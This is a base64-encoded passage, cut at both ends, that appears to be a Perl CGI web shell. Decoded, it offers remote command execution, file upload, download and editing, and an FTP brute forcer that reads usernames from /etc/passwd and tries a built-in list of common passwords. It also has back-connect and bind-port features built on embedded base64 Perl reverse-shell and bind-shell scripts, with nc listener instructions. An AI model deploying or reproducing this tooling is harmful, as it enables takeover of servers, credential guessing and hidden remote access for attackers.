gPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1